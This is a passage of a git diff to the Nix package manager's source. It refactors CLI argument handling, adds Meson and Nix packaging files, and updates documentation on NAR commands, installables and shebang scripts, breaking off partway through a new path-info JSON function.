nlohmann::json::object(); + if (!info.doc) continue; + b["doc"] = trim(stripIndentation(info.doc)); + b["type"] = showType(info.type, false); + if (info.impureOnly) + b["impure-only"] = true; + builtinsJson[name] = std::move(b); + } + logger->cout("%s", builtinsJson); + return; + } + + if (argc == 2 && std::string(argv[1]) == "__dump-xp-features") { + logger->cout(documentExperimentalFeatures().dump()); return; } Finally printCompletions([&]() { - if (completions) { - switch (completionType) { - case ctNormal: - std::cout << "normal\n"; break; - case ctFilenames: - std::cout << "filenames\n"; break; - case ctAttrs: - std::cout << "attrs\n"; break; + if (args.completions) { + switch (args.completions->type) { + case Completions::Type::Normal: + logger->cout("normal"); break; + case Completions::Type::Filenames: + logger->cout("filenames"); break; + case Completions::Type::Attrs: + logger->cout("attrs"); break; } - for (auto & s : *completions) - std::cout << s.completion << "\t" << trim(s.description) << "\n"; + for (auto & s : args.completions->completions) + logger->cout(s.completion + "\t" + trim(s.description)); } }); try { - args.parseCmdline(argvToStrings(argc, argv)); - } catch (HelpRequested &) { + auto isNixCommand = std::regex_search(programName, std::regex("nix$")); + auto allowShebang = isNixCommand && argc > 1; + args.parseCmdline(argvToStrings(argc, argv),allowShebang); + } catch (UsageError &) { + if (!args.helpRequested && !args.completions) throw; + } + + if (args.helpRequested) { std::vector subcommand; MultiCommand * command = &args; while (command) { @@ -346,14 +500,9 @@ void mainWrapped(int argc, char * * argv) } showHelp(subcommand, args); return; - } catch (UsageError &) { - if (!completions) throw; } - if (completions) { - args.completionHook(); - return; - } + if (args.completions) return; if (args.showVersion) { printVersion(programName); @@ -363,10 +512,8 @@ void mainWrapped(int argc, char * * argv) if (!args.command) throw UsageError("no subcommand specified"); - if (args.command->first != "repl" - && args.command->first != "doctor" - && args.command->first != "upgrade-nix") - settings.requireExperimentalFeature(Xp::NixCommand); + experimentalFeatureSettings.require( + args.command->second->experimentalFeature()); if (args.useNet && !haveInternet()) { warn("you don't have Internet access; disabling some network-dependent features"); @@ -394,8 +541,15 @@ void mainWrapped(int argc, char * * argv) if (args.command->second->forceImpureByDefault() && !evalSettings.pureEval.overridden) { evalSettings.pureEval = false; } - args.command->second->prepare(); - args.command->second->run(); + + try { + args.command->second->run(); + } catch (eval_cache::CachedEvalError & e) { + /* Evaluate the original attribute that resulted in this + cached error so that we can show the original error to the + user. */ + e.force(); + } } } diff --git a/src/nix/make-content-addressed.cc b/src/nix/make-content-addressed.cc index d86b90fc7..d9c988a9f 100644 --- a/src/nix/make-content-addressed.cc +++ b/src/nix/make-content-addressed.cc @@ -28,7 +28,6 @@ struct CmdMakeContentAddressed : virtual CopyCommand, virtual StorePathsCommand, ; } - using StorePathsCommand::run; void run(ref srcStore, StorePaths && storePaths) override { auto dstStore = dstUri.empty() ? openStore() : openStore(dstUri); @@ -45,7 +44,7 @@ struct CmdMakeContentAddressed : virtual CopyCommand, virtual StorePathsCommand, } auto json = json::object(); json["rewrites"] = jsonRewrites; - std::cout << json.dump(); + logger->cout("%s", json); } else { for (auto & path : storePaths) { auto i = remappings.find(path); diff --git a/src/nix/make-content-addressed.md b/src/nix/make-content-addressed.md index 32eecc880..b1f7da525 100644 --- a/src/nix/make-content-addressed.md +++ b/src/nix/make-content-addressed.md @@ -35,7 +35,9 @@ R""( # Description This command converts the closure of the store paths specified by -*installables* to content-addressed form. Nix store paths are usually +[*installables*](./nix.md#installables) to content-addressed form. + +Nix store paths are usually *input-addressed*, meaning that the hash part of the store path is computed from the contents of the derivation (i.e., the build-time dependency graph). Input-addressed paths need to be signed by a diff --git a/src/nix/meson.build b/src/nix/meson.build new file mode 100644 index 000000000..798c98e33 --- /dev/null +++ b/src/nix/meson.build @@ -0,0 +1,246 @@ +project('nix', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-expr'), + dependency('nix-flake'), + dependency('nix-fetchers'), + dependency('nix-main'), + dependency('nix-cmd'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +subdir('build-utils-meson/export-all-symbols') + +configdata = configuration_data() + +fs = import('fs') + +bindir = get_option('bindir') +if not fs.is_absolute(bindir) + bindir = get_option('prefix') / bindir +endif +configdata.set_quoted('NIX_BIN_DIR', bindir) + +config_h = configure_file( + configuration : configdata, + output : 'config-nix-cli.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + #'-include', 'config-fetchers.hh', + '-include', 'config-main.hh', + '-include', 'config-cmd.hh', + '-include', 'config-nix-cli.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') +subdir('build-utils-meson/generate-header') + +nix_sources = [config_h] + files( + 'add-to-store.cc', + 'app.cc', + 'self-exe.cc', + 'build.cc', + 'bundle.cc', + 'cat.cc', + 'config-check.cc', + 'config.cc', + 'copy.cc', + 'derivation-add.cc', + 'derivation-show.cc', + 'derivation.cc', + 'develop.cc', + 'diff-closures.cc', + 'dump-path.cc', + 'edit.cc', + 'env.cc', + 'eval.cc', + 'flake.cc', + 'fmt.cc', + 'hash.cc', + 'log.cc', + 'ls.cc', + 'main.cc', + 'make-content-addressed.cc', + 'nar.cc', + 'optimise-store.cc', + 'path-from-hash-part.cc', + 'path-info.cc', + 'prefetch.cc', + 'profile.cc', + 'realisation.cc', + 'registry.cc', + 'repl.cc', + 'run.cc', + 'search.cc', + 'sigs.cc', + 'store-copy-log.cc', + 'store-delete.cc', + 'store-gc.cc', + 'store-info.cc', + 'store-repair.cc', + 'store.cc', + 'upgrade-nix.cc', + 'verify.cc', + 'why-depends.cc', +) + +if host_machine.system() != 'windows' + nix_sources += files( + 'unix/daemon.cc', + ) +endif + +nix_sources += [ + gen_header.process('doc/manual/generate-manpage.nix'), + gen_header.process('doc/manual/generate-settings.nix'), + gen_header.process('doc/manual/generate-store-info.nix'), + gen_header.process('doc/manual/utils.nix'), + gen_header.process('get-env.sh'), + gen_header.process('profiles.md'), + gen_header.process('help-stores.md'), +] + +# The rest of the subdirectories aren't separate components, +# just source files in another directory, so we process them here. + +build_remote_sources = files( + 'build-remote/build-remote.cc', +) +nix_build_sources = files( + 'nix-build/nix-build.cc', +) +nix_channel_sources = files( + 'nix-channel/nix-channel.cc', +) +unpack_channel_gen = gen_header.process('nix-channel/unpack-channel.nix') +nix_collect_garbage_sources = files( + 'nix-collect-garbage/nix-collect-garbage.cc', +) +nix_copy_closure_sources = files( + 'nix-copy-closure/nix-copy-closure.cc', +) +nix_env_buildenv_gen = gen_header.process('nix-env/buildenv.nix') +nix_env_sources = files( + 'nix-env/nix-env.cc', + 'nix-env/user-env.cc', +) +nix_instantiate_sources = files( + 'nix-instantiate/nix-instantiate.cc', +) +nix_store_sources = files( + 'nix-store/dotgraph.cc', + 'nix-store/graphml.cc', + 'nix-store/nix-store.cc', +) + +# Hurray for Meson list flattening! +sources = [ + nix_sources, + nix_build_sources, + unpack_channel_gen, + nix_collect_garbage_sources, + nix_copy_closure_sources, + nix_env_buildenv_gen, + nix_env_sources, + nix_instantiate_sources, + nix_store_sources, +] + +if host_machine.system() != 'windows' + sources += [ + build_remote_sources, + nix_channel_sources, + ] +endif + +include_dirs = [include_directories('.')] + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + install : true, +) + +meson.override_find_program('nix', this_exe) + +nix_symlinks = [ + 'nix-build', + 'nix-channel', + 'nix-collect-garbage', + 'nix-copy-closure', + 'nix-daemon', + 'nix-env', + 'nix-hash', + 'nix-instantiate', + 'nix-prefetch-url', + 'nix-shell', + 'nix-store', +] + +foreach linkname : nix_symlinks + install_symlink( + linkname, + # TODO(Qyriad): should these continue to be relative symlinks? + pointing_to : 'nix', + install_dir : get_option('bindir'), + # The 'runtime' tag is what executables default to, which we want to emulate here. + install_tag : 'runtime' + ) + t = custom_target( + command: ['ln', '-sf', fs.name(this_exe), '@OUTPUT@'], + output: linkname, + # TODO(Ericson2314): Don't do this once we have the `meson.override_find_program` working) + build_by_default: true + ) + # TODO(Ericson3214): Dosen't yet work + #meson.override_find_program(linkname, t) +endforeach + +install_symlink( + 'build-remote', + pointing_to : '..' / '..'/ get_option('bindir') / 'nix', + install_dir : get_option('libexecdir') / 'nix', + # The 'runtime' tag is what executables default to, which we want to emulate here. + install_tag : 'runtime' +) + +custom_target( + command: ['ln', '-sf', fs.name(this_exe), '@OUTPUT@'], + output: 'build-remote', + # TODO(Ericson2314): Don't do this once we have the `meson.override_find_program` working) + build_by_default: true +) +# TODO(Ericson3214): Dosen't yet work +#meson.override_find_program(linkname, t) diff --git a/src/nix/nar-cat.md b/src/nix/nar-cat.md index 55c481a28..1131eb2bf 100644 --- a/src/nix/nar-cat.md +++ b/src/nix/nar-cat.md @@ -2,7 +2,7 @@ R""( # Examples -* List a file in a NAR and pipe it through `gunzip`: +* List a file in a [Nix Archive (NAR)][Nix Archive] and pipe it through `gunzip`: ```console # nix nar cat ./hello.nar /share/man/man1/hello.1.gz | gunzip @@ -16,4 +16,5 @@ R""( This command prints on standard output the contents of the regular file *path* inside the NAR file *nar*. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/nar-dump-path.md b/src/nix/nar-dump-path.md index 26191ad25..4676e4fef 100644 --- a/src/nix/nar-dump-path.md +++ b/src/nix/nar-dump-path.md @@ -2,16 +2,18 @@ R""( # Examples -* To serialise directory `foo` as a NAR: +* To serialise directory `foo` as a [Nix Archive (NAR)][Nix Archive]: ```console - # nix nar dump-path ./foo > foo.nar + # nix nar pack ./foo > foo.nar ``` # Description -This command generates a NAR file containing the serialisation of +This command generates a [Nix Archive (NAR)][Nix Archive] file containing the serialisation of *path*, which must contain only regular files, directories and symbolic links. The NAR is written to standard output. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + )"" diff --git a/src/nix/nar-ls.md b/src/nix/nar-ls.md index d373f9715..27c4b97e6 100644 --- a/src/nix/nar-ls.md +++ b/src/nix/nar-ls.md @@ -2,10 +2,10 @@ R""( # Examples -* To list a specific file in a NAR: +* To list a specific file in a [NAR][Nix Archive]: ```console - # nix nar ls -l ./hello.nar /bin/hello + # nix nar ls --long ./hello.nar /bin/hello -r-xr-xr-x 38184 hello ``` @@ -13,12 +13,14 @@ R""( format: ```console - # nix nar ls --json -R ./hello.nar /bin + # nix nar ls --json --recursive ./hello.nar /bin {"type":"directory","entries":{"hello":{"type":"regular","size":38184,"executable":true,"narOffset":400}}} ``` # Description -This command shows information about a *path* inside NAR file *nar*. +This command shows information about a *path* inside [Nix Archive (NAR)][Nix Archive] file *nar*. + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/nar.cc b/src/nix/nar.cc index dbb043d9b..8ad4f92a7 100644 --- a/src/nix/nar.cc +++ b/src/nix/nar.cc @@ -4,7 +4,7 @@ using namespace nix; struct CmdNar : NixMultiCommand { - CmdNar() : MultiCommand(RegisterCommand::getCommandsFor({"nar"})) + CmdNar() : NixMultiCommand("nar", RegisterCommand::getCommandsFor({"nar"})) { } std::string description() override @@ -20,14 +20,6 @@ struct CmdNar : NixMultiCommand } Category category() override { return catUtility; } - - void run() override - { - if (!command) - throw UsageError("'nix nar' requires a sub-command."); - command->second->prepare(); - command->second->run(); - } }; static auto rCmdNar = registerCommand("nar"); diff --git a/src/nix/nar.md b/src/nix/nar.md index a83b5c764..b0f70ce93 100644 --- a/src/nix/nar.md +++ b/src/nix/nar.md @@ -3,11 +3,14 @@ R""( # Description `nix nar` provides several subcommands for creating and inspecting -*Nix Archives* (NARs). +[*Nix Archives* (NARs)][Nix Archive]. # File format -For the definition of the NAR file format, see Figure 5.2 in -https://edolstra.github.io/pubs/phd-thesis.pdf. +For the definition of the Nix Archive file format, see +[within the protocols chapter](@docroot@/protocols/nix-archive.md) +of the manual. + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/nix-build b/src/nix/nix-build new file mode 120000 index 000000000..2954d8ac7 --- /dev/null +++ b/src/nix/nix-build @@ -0,0 +1 @@ +../nix-build \ No newline at end of file diff --git a/src/nix/nix-channel b/src/nix/nix-channel new file mode 120000 index 000000000..29b759473 --- /dev/null +++ b/src/nix/nix-channel @@ -0,0 +1 @@ +../nix-channel \ No newline at end of file diff --git a/src/nix/nix-collect-garbage b/src/nix/nix-collect-garbage new file mode 120000 index 000000000..b037fc1b0 --- /dev/null +++ b/src/nix/nix-collect-garbage @@ -0,0 +1 @@ +../nix-collect-garbage \ No newline at end of file diff --git a/src/nix/nix-copy-closure b/src/nix/nix-copy-closure new file mode 120000 index 000000000..9063c583a --- /dev/null +++ b/src/nix/nix-copy-closure @@ -0,0 +1 @@ +../nix-copy-closure \ No newline at end of file diff --git a/src/nix/nix-env b/src/nix/nix-env new file mode 120000 index 000000000..f2f19f580 --- /dev/null +++ b/src/nix/nix-env @@ -0,0 +1 @@ +../nix-env \ No newline at end of file diff --git a/src/nix/nix-instantiate b/src/nix/nix-instantiate new file mode 120000 index 000000000..2d7502ffa --- /dev/null +++ b/src/nix/nix-instantiate @@ -0,0 +1 @@ +../nix-instantiate \ No newline at end of file diff --git a/src/nix/nix-store b/src/nix/nix-store new file mode 120000 index 000000000..e6efcac42 --- /dev/null +++ b/src/nix/nix-store @@ -0,0 +1 @@ +../nix-store/ \ No newline at end of file diff --git a/src/nix/nix.md b/src/nix/nix.md index 723d3c87e..443757a05 100644 --- a/src/nix/nix.md +++ b/src/nix/nix.md @@ -48,103 +48,131 @@ manual](https://nixos.org/manual/nix/stable/). # Installables -Many `nix` subcommands operate on one or more *installables*. These are -command line arguments that represent something that can be built in -the Nix store. Here are the recognised types of installables: +> **Warning** \ +> Installables are part of the unstable +> [`nix-command` experimental feature](@docroot@/development/experimental-features.md#xp-feature-nix-command), +> and subject to change without notice. -* **Flake output attributes**: `nixpkgs#hello` +Many `nix` subcommands operate on one or more *installables*. +These are command line arguments that represent something that can be realised in the Nix store. - These have the form *flakeref*[`#`*attrpath*], where *flakeref* is a - flake reference and *attrpath* is an optional attribute path. For - more information on flakes, see [the `nix flake` manual - page](./nix3-flake.md). Flake references are most commonly a flake - identifier in the flake registry (e.g. `nixpkgs`), or a raw path - (e.g. `/path/to/my-flake` or `.` or `../foo`), or a full URL - (e.g. `github:nixos/nixpkgs` or `path:.`) +The following types of installable are supported by most commands: - When the flake reference is a raw path (a path without any URL - scheme), it is interpreted as a `path:` or `git+file:` url in the following - way: - - - If the path is within a Git repository, then the url will be of the form - `git+file://[GIT_REPO_ROOT]?dir=[RELATIVE_FLAKE_DIR_PATH]` - where `GIT_REPO_ROOT` is the path to the root of the git repository, - and `RELATIVE_FLAKE_DIR_PATH` is the path (relative to the directory - root) of the closest parent of the given path that contains a `flake.nix` within - the git repository. - If no such directory exists, then Nix will error-out. - - Note that the search will only include files indexed by git. In particular, files - which are matched by `.gitignore` or have never been `git add`-ed will not be - available in the flake. If this is undesirable, specify `path:` explicitly; - - For example, if `/foo/bar` is a git repository with the following structure: - ``` - . - └── baz - ├── blah - │  └── file.txt - └── flake.nix - ``` +- [Flake output attribute](#flake-output-attribute) (experimental) + - This is the default +- [Store path](#store-path) + - This is assumed if the argument is a Nix store path or a symlink to a Nix store path +- [Nix file](#nix-file), optionally qualified by an attribute path + - Specified with `--file`/`-f` +- [Nix expression](#nix-expression), optionally qualified by an attribute path + - Specified with `--expr` + +For most commands, if no installable is specified, `.` is assumed. +That is, Nix will operate on the default flake output attribute of the flake in the current directory. + +### Flake output attribute + +> **Warning** \ +> Flake output attribute installables depend on both the +> [`flakes`](@docroot@/development/experimental-features.md#xp-feature-flakes) +> and +> [`nix-command`](@docroot@/development/experimental-features.md#xp-feature-nix-command) +> experimental features, and subject to change without notice. + +Example: `nixpkgs#hello` + +These have the form *flakeref*[`#`*attrpath*], where *flakeref* is a +[flake reference](./nix3-flake.md#flake-references) and *attrpath* is an optional attribute path. For +more information on flakes, see [the `nix flake` manual +page](./nix3-flake.md). Flake references are most commonly a flake +identifier in the flake registry (e.g. `nixpkgs`), or a raw path +(e.g. `/path/to/my-flake` or `.` or `../foo`), or a full URL +(e.g. `github:nixos/nixpkgs` or `path:.`) + +When the flake reference is a raw path (a path without any URL +scheme), it is interpreted as a `path:` or `git+file:` url in the following +way: + +- If the path is within a Git repository, then the url will be of the form + `git+file://[GIT_REPO_ROOT]?dir=[RELATIVE_FLAKE_DIR_PATH]` + where `GIT_REPO_ROOT` is the path to the root of the git repository, + and `RELATIVE_FLAKE_DIR_PATH` is the path (relative to the directory + root) of the closest parent of the given path that contains a `flake.nix` within + the git repository. + If no such directory exists, then Nix will error-out. + + Note that the search will only include files indexed by git. In particular, files + which are matched by `.gitignore` or have never been `git add`-ed will not be + available in the flake. If this is undesirable, specify `path:` explicitly; + + For example, if `/foo/bar` is a git repository with the following structure: + + ``` + . + └── baz + ├── blah + │  └── file.txt + └── flake.nix + ``` Then `/foo/bar/baz/blah` will resolve to `git+file:///foo/bar?dir=baz` - - If the supplied path is not a git repository, then the url will have the form - `path:FLAKE_DIR_PATH` where `FLAKE_DIR_PATH` is the closest parent - of the supplied path that contains a `flake.nix` file (within the same file-system). - If no such directory exists, then Nix will error-out. - - For example, if `/foo/bar/flake.nix` exists, then `/foo/bar/baz/` will resolve to - `path:/foo/bar` +- If the supplied path is not a git repository, then the url will have the form + `path:FLAKE_DIR_PATH` where `FLAKE_DIR_PATH` is the closest parent + of the supplied path that contains a `flake.nix` file (within the same file-system). + If no such directory exists, then Nix will error-out. - If *attrpath* is omitted, Nix tries some default values; for most - subcommands, the default is `packages.`*system*`.default` - (e.g. `packages.x86_64-linux.default`), but some subcommands have - other defaults. If *attrpath* *is* specified, *attrpath* is - interpreted as relative to one or more prefixes; for most - subcommands, these are `packages.`*system*, - `legacyPackages.*system*` and the empty prefix. Thus, on - `x86_64-linux` `nix build nixpkgs#hello` will try to build the - attributes `packages.x86_64-linux.hello`, - `legacyPackages.x86_64-linux.hello` and `hello`. + For example, if `/foo/bar/flake.nix` exists, then `/foo/bar/baz/` will resolve to + `path:/foo/bar` -* **Store paths**: `/nix/store/v5sv61sszx301i0x6xysaqzla09nksnd-hello-2.10` +If *attrpath* is omitted, Nix tries some default values; for most +subcommands, the default is `packages.`*system*`.default` +(e.g. `packages.x86_64-linux.default`), but some subcommands have +other defaults. If *attrpath* *is* specified, *attrpath* is +interpreted as relative to one or more prefixes; for most +subcommands, these are `packages.`*system*, +`legacyPackages.*system*` and the empty prefix. Thus, on +`x86_64-linux` `nix build nixpkgs#hello` will try to build the +attributes `packages.x86_64-linux.hello`, +`legacyPackages.x86_64-linux.hello` and `hello`. - These are paths inside the Nix store, or symlinks that resolve to a - path in the Nix store. +If *attrpath* begins with `.` then no prefixes or defaults are attempted. This allows the form *flakeref*[`#.`*attrpath*], such as `github:NixOS/nixpkgs#.lib.fakeSha256` to avoid a search of `packages.*system*.lib.fakeSha256` -* **Store derivations**: `/nix/store/p7gp6lxdg32h4ka1q398wd9r2zkbbz2v-hello-2.10.drv` +### Store path - Store derivations are store paths with extension `.drv` and are a - low-level representation of a build-time dependency graph used - internally by Nix. By default, if you pass a store derivation to a - `nix` subcommand, it will operate on the *output paths* of the - derivation. For example, `nix path-info` prints information about - the output paths: +Example: `/nix/store/v5sv61sszx301i0x6xysaqzla09nksnd-hello-2.10` - ```console - # nix path-info --json /nix/store/p7gp6lxdg32h4ka1q398wd9r2zkbbz2v-hello-2.10.drv - [{"path":"/nix/store/v5sv61sszx301i0x6xysaqzla09nksnd-hello-2.10",…}] - ``` +These are paths inside the Nix store, or symlinks that resolve to a path in the Nix store. - If you want to operate on the store derivation itself, pass the - `--derivation` flag. +A [store derivation] is also addressed by store path. -* **Nix attributes**: `--file /path/to/nixpkgs hello` +Example: `/nix/store/p7gp6lxdg32h4ka1q398wd9r2zkbbz2v-hello-2.10.drv` - When the `-f` / `--file` *path* option is given, installables are - interpreted as attribute paths referencing a value returned by - evaluating the Nix file *path*. +If you want to refer to an output path of that store derivation, add the output name preceded by a caret (`^`). -* **Nix expressions**: `--expr '(import {}).hello.overrideDerivation (prev: { name = "my-hello"; })'`. +Example: `/nix/store/p7gp6lxdg32h4ka1q398wd9r2zkbbz2v-hello-2.10.drv^out` - When the `--expr` option is given, all installables are interpreted - as Nix expressions. You may need to specify `--impure` if the - expression references impure inputs (such as ``). +All outputs can be referred to at once with the special syntax `^*`. -For most commands, if no installable is specified, the default is `.`, -i.e. Nix will operate on the default flake output attribute of the -flake in the current directory. +Example: `/nix/store/p7gp6lxdg32h4ka1q398wd9r2zkbbz2v-hello-2.10.drv^*` + +### Nix file + +Example: `--file /path/to/nixpkgs hello` + +When the option `-f` / `--file` *path* \[*attrpath*...\] is given, installables are interpreted as the value of the expression in the Nix file at *path*. +If attribute paths are provided, commands will operate on the corresponding values accessible at these paths. +The Nix expression in that file, or any selected attribute, must evaluate to a derivation. + +### Nix expression + +Example: `--expr 'import {}' hello` + +When the option `--expr` *expression* \[*attrpath*...\] is given, installables are interpreted as the value of the of the Nix expression. +If attribute paths are provided, commands will operate on the corresponding values accessible at these paths. +The Nix expression, or any selected attribute, must evaluate to a derivation. + +You may need to specify `--impure` if the expression references impure inputs (such as ``). ## Derivation output selection @@ -154,9 +182,10 @@ that contains programs, and a `dev` output that provides development artifacts like C/C++ header files. The outputs on which `nix` commands operate are determined as follows: -* You can explicitly specify the desired outputs using the syntax - *installable*`^`*output1*`,`*...*`,`*outputN*. For example, you can - obtain the `dev` and `static` outputs of the `glibc` package: +* You can explicitly specify the desired outputs using the syntax *installable*`^`*output1*`,`*...*`,`*outputN* — that is, a caret followed immediately by a comma-separated list of derivation outputs to select. + For installables specified as [Flake output attributes](#flake-output-attribute) or [Store paths](#store-path), the output is specified in the same argument: + + For example, you can obtain the `dev` and `static` outputs of the `glibc` package: ```console # nix build 'nixpkgs#glibc^dev,static' @@ -171,12 +200,25 @@ operate are determined as follows: … ``` + For `--expr` and `-f`/`--file`, the derivation output is specified as part of the attribute path: + + ```console + $ nix build -f '' 'glibc^dev,static' + $ nix build --impure --expr 'import { }' 'glibc^dev,static' + ``` + + This syntax is the same even if the actual attribute path is empty: + + ```console + $ nix build --impure --expr 'let pkgs = import { }; in pkgs.glibc' '^dev,static' + ``` + * You can also specify that *all* outputs should be used using the syntax *installable*`^*`. For example, the following shows the size of all outputs of the `glibc` package in the binary cache: ```console - # nix path-info -S --eval-store auto --store https://cache.nixos.org 'nixpkgs#glibc^*' + # nix path-info --closure-size --eval-store auto --store https://cache.nixos.org 'nixpkgs#glibc^*' /nix/store/g02b1lpbddhymmcjb923kf0l7s9nww58-glibc-2.33-123 33208200 /nix/store/851dp95qqiisjifi639r0zzg5l465ny4-glibc-2.33-123-bin 36142896 /nix/store/kdgs3q6r7xdff1p7a9hnjr43xw2404z7-glibc-2.33-123-debug 155787312 @@ -187,7 +229,7 @@ operate are determined as follows: and likewise, using a store path to a "drv" file to specify the derivation: ```console - # nix path-info -S '/nix/store/gzaflydcr6sb3567hap9q6srzx8ggdgg-glibc-2.33-78.drv^*' + # nix path-info --closure-size '/nix/store/gzaflydcr6sb3567hap9q6srzx8ggdgg-glibc-2.33-78.drv^*' … ``` * If you didn't specify the desired outputs, but the derivation has an @@ -202,15 +244,83 @@ operate are determined as follows: a command like `nix shell nixpkgs#libxml2` will provide only those two outputs by default. - Note that a store derivation (given by `.drv` file store path) doesn't have + Note that a [store derivation] (given by its `.drv` file store path) doesn't have any attributes like `meta`, and thus this case doesn't apply to it. + [store derivation]: @docroot@/glossary.md#gloss-store-derivation + * Otherwise, Nix will use all outputs of the derivation. # Nix stores Most `nix` subcommands operate on a *Nix store*. +The various store types are documented in the +[Store Types](@docroot@/store/types/index.md) +section of the manual. -TODO: list store types, options +The same information is also available from the [`nix help-stores`](./nix3-help-stores.md) command. + +# Shebang interpreter + +The `nix` command can be used as a `#!` interpreter. +Arguments to Nix can be passed on subsequent lines in the script. + +Verbatim strings may be passed in double backtick (```` `` ````) quotes. +Sequences of _n_ backticks of 3 or longer are parsed as _n-1_ literal backticks. +A single space before the closing ```` `` ```` is ignored if present. + +`--file` and `--expr` resolve relative paths based on the script location. + +Examples: + +``` +#!/usr/bin/env nix +#! nix shell --file ```` hello cowsay --command bash + +hello | cowsay +``` + +or with **flakes**: + +``` +#!/usr/bin/env nix +#! nix shell nixpkgs#bash nixpkgs#hello nixpkgs#cowsay --command bash + +hello | cowsay +``` + +or with an **expression**: + +```bash +#! /usr/bin/env nix +#! nix shell --impure --expr `` +#! nix with (import (builtins.getFlake "nixpkgs") {}); +#! nix terraform.withPlugins (plugins: [ plugins.openstack ]) +#! nix `` +#! nix --command bash + +terraform "$@" +``` + +or with cascading interpreters. Note that the `#! nix` lines don't need to follow after the first line, to accomodate other interpreters. + +``` +#!/usr/bin/env nix +//! ```cargo +//! [dependencies] +//! time = "0.1.25" +//! ``` +/* +#!nix shell nixpkgs#rustc nixpkgs#rust-script nixpkgs#cargo --command rust-script +*/ +fn main() { + for argument in std::env::args().skip(1) { + println!("{}", argument); + }; + println!("{}", std::env::var("HOME").expect("")); + println!("{}", time::now().rfc822z()); +} +// vim: ft=rust +``` )"" diff --git a/src/nix/package.nix b/src/nix/package.nix new file mode 100644 index 000000000..ef7265458 --- /dev/null +++ b/src/nix/package.nix @@ -0,0 +1,123 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-store +, nix-expr +, nix-main +, nix-cmd + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix"; + inherit version; + + workDir = ./.; + fileset = fileset.unions ([ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + + # Symbolic links to other dirs + ./build-remote + ./doc + ./nix-build + ./nix-channel + ./nix-collect-garbage + ./nix-copy-closure + ./nix-env + ./nix-instantiate + ./nix-store + + # Doc nix files for --help + ../../doc/manual/generate-manpage.nix + ../../doc/manual/utils.nix + ../../doc/manual/generate-settings.nix + ../../doc/manual/generate-store-info.nix + + # Other files to be included as string literals + ../nix-channel/unpack-channel.nix + ../nix-env/buildenv.nix + ./get-env.sh + ./help-stores.md + ../../doc/manual/src/store/types/index.md.in + ./profiles.md + ../../doc/manual/src/command-ref/files/profiles.md + + # Files + ] ++ lib.concatMap + (dir: [ + (fileset.fileFilter (file: file.hasExt "cc") dir) + (fileset.fileFilter (file: file.hasExt "hh") dir) + (fileset.fileFilter (file: file.hasExt "md") dir) + ]) + [ + ./. + ../build-remote + ../nix-build + ../nix-channel + ../nix-collect-garbage + ../nix-copy-closure + ../nix-env + ../nix-instantiate + ../nix-store + ] + ); + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-store + nix-expr + nix-main + nix-cmd + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc index 613c5b191..e7cfb6e7a 100644 --- a/src/nix/path-info.cc +++ b/src/nix/path-info.cc @@ -2,13 +2,91 @@ #include "shared.hh" #include "store-api.hh" #include "common-args.hh" +#include "nar-info.hh" #include #include #include +#include "strings.hh" + using namespace nix; +using nlohmann::json; + +/** + * @return the total size of a set of store objects (specified by path), + * that is, the sum of the size of the NAR serialisation of each object + * in the set. + */ +static uint64_t getStoreObjectsTotalSize(Store & store, const StorePathSet & closure) +{ + uint64_t totalNarSize = 0; + for (auto & p : closure) { + totalNarSize += store.queryPathInfo(p)->narSize; + } + return totalNarSize; +} + + +/** + * Write a JSON representation of store object metadata, such as the + * hash and the references. + * + * @param showClosureSize If true, the closure size of each path is + * included. + */ +static json pathInfoToJSON( + Store & store, + const StorePathSet & storePaths, + bool showClosureSize) +{ + json::object_t jsonAllObjects = json::object(); + + for (auto & storePath : storePaths) { + json jsonObject; + auto printedStorePath = store.printStorePath(storePath); + + try { + auto info = store.queryPathInfo(storePath); + + // `storePath` has the representation `-x` rather than + // `-` in case of binary-cache stores & `--all` because we don't + // know the name yet until we've read the NAR info. + printedStorePath = store.printStorePath(info->path); + + jsonObject = info->toJSON(store, true, HashFormat::SRI); + + if (showClosureSize) { + StorePathSet closure; + store.computeFSClosure(storePath, closure, false, false); + + jsonObject["closureSize"] = getStoreObjectsTotalSize(store, closure); + + if (dynamic_cast(&*info)) { + uint64_t totalDownloadSize = 0; + for (auto & p : closure) { + auto depInfo = store.queryPathInfo(p); + if (auto * depNarInfo = dynamic_cast(&*depInfo)) + totalDownloadSize += 